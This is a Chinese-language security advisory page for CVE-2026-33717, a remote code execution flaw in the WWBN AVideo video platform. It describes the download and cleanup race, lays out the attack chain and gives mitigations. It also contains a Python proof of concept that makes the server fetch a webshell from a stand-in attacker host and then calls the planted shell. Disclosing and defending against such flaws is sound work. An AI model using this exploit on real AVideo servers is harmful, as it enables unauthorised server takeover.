IPBUF安全漏洞报告
English
CVE-2026-33717 CVSS 8.8 高危

CVE-2026-33717 AVideo远程代码执行漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33717
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

RCE远程代码执行AVideo文件上传Web漏洞

漏洞概述

WWBN AVideo是一个开源的视频托管平台。在26.0及之前的版本中,`objects/aVideoEncoder.json.php`文件的`downloadVideoFromDownloadURL()`函数存在安全漏洞。该函数在下载远程内容时,直接使用原始URL的文件名(包括.php扩展名)将文件保存到Web可访问的临时目录。攻击者可以通过提供无效的`resolution`参数,在临时文件被清理之前触发`forbiddenPage()`导致脚本终止,从而使恶意的PHP文件持久化存在于`videos/cache/tmpFile/`目录下,进而实现远程代码执行。

技术细节

该漏洞的核心逻辑缺陷在于文件下载后的清理机制与错误处理流程的竞争条件。`downloadVideoFromDownloadURL()`函数首先将远程文件保存至`videos/cache/tmpFile/`。如果攻击者提交一个畸形的`resolution`参数,系统会调用`forbiddenPage()`并执行`die()`立即退出。由于退出操作在清理临时文件的逻辑之前执行,原本应被删除的恶意PHP文件得以保留。因为该目录位于Web根目录下且具有执行权限,攻击者只需直接访问该文件路径,即可触发服务器端解析并执行任意PHP代码,完全控制服务器。

攻击链分析

STEP 1
准备阶段
攻击者准备包含恶意PHP代码的Webshell文件,并将其托管在可远程访问的服务器上。
STEP 2
上传触发
攻击者向目标AVideo服务器的`objects/aVideoEncoder.json.php`接口发送POST请求,参数中包含恶意文件的URL以及一个无效的`resolution`参数。
STEP 3
异常中断
服务器尝试下载文件到`videos/cache/tmpFile/`,随后检测到无效的`resolution`参数,调用`forbiddenPage()`函数执行`die()`退出,跳过了文件清理步骤。
STEP 4
代码执行
恶意PHP文件残留在Web目录中。攻击者直接通过浏览器访问该文件路径,Web服务器解析PHP代码,从而在服务器端执行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://target-avideo-server.com" attacker_controlled_url = "http://evil-server.com/shell.php" # Contains malicious PHP code # Exploit endpoint url = f"{target_host}/objects/aVideoEncoder.json.php" # Payload to trigger the vulnerability # An invalid 'resolution' triggers forbiddenPage() -> die() before cleanup data = { "downloadVideoFromDownloadURL": "1", "url": attacker_controlled_url, "resolution": "invalid_resolution_trigger" } print("[+] Sending exploit payload...") response = requests.post(url, data=data) if response.status_code == 200: print("[+] Payload sent. Check if file persisted.") # The file should be saved as videos/cache/tmpFile/shell.php shell_url = f"{target_host}/videos/cache/tmpFile/shell.php" print(f"[+] Attempting to access shell at: {shell_url}") r = requests.get(shell_url) if r.status_code == 200: print("[!] Exploit successful! RCE achieved.") else: print("[-] File not accessible.") else: print("[-] Request failed.")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
如无法立即升级,建议通过Web服务器配置(如Nginx/Apache规则)禁止对`videos/cache/tmpFile/`目录的直接访问。同时,应在应用层严格校验下载URL的文件扩展名,禁止保存.php、.phtml等可执行脚本文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表